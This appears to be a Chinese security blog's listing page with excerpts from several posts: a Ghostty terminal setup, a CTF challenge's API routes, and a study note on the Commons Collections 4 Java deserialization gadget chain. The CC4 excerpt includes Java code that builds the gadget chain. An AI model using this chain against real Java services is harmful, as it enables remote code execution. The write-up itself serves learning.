原文章来自 lostsheep 佬友的终端精致小玩具 - Ghostty
后经过 ai 帮我生成了 Windows 端的相关文件设置
效果图：

eznginx

源标题不是这个，但是这里只保留了附件
访问根路由，提供了以下 /api

1
2
3
4
5
6

{
  "app": "theme-assets",
  "preview": "/api/v2/preview/demo/download",
  "ops": "/api/v2/preview/admin/sync/job",
  "upload": "/api/v2/preview/admin/sync/upload"
}

CommonsCollections 4

CC 4 依赖于 commons-collections4 : 4.0，基础版本其实很简单，在 CC 2 TemplatesImpl 链子的基础上将 InvokerTransformer 替换为 CC 3 中使用的 InstantiateTransformer 来触发 newTransformer() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14

Transformer[] transformers = new Transformer[] {  
        new ConstantTransformer(TrAXFilter.class),  
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})  
};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
TransformingComparator comparator = new TransformingComparator(chainedTransformer);  
  
PriorityQueue queue = new PriorityQueue(2);  
queue.add(1);  
queue.add(2);  
  
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
field.setAccessible(true);  
field.set(queue, comparator);

既 CC 1 和 CC 2 的学习之后，两者本质上还是去触发 InvokerTransformer.transform() 来反射调用方法，在引入了 TemplatesImpl 之后，是否能找到一种链子可以直接触发其 newTransformer 方法来加载字节码？CC 3 就是为此而生

既 CC 1 分析后，了解了 Transformer 的基础知识后，后面的链子就可以快些分析了，CC 2 的利用是基于 commons-collections 4，因此我们引入依赖

1
2
3
4
5

<dependency>  
    <groupId>org.apache.commons</groupId>  
    <artifactId>commons-collections4</artifactId>  
    <version>4.0</version>  
</dependency>

在 Apache Commons Collections（以下简称 CC 链）反序列化漏洞中，Transformer 接口及其实现类是整个攻击链路的“执行类”

流量日志分析

linux-basic-command

单独提出来是方便自己下次看到能快速浏览，之前的笔记太混乱了，链路逻辑有点混乱，一些细节也忽略掉了，借此重构一下；再者是自己本身对 nodejs 这一块的认识没有那么深刻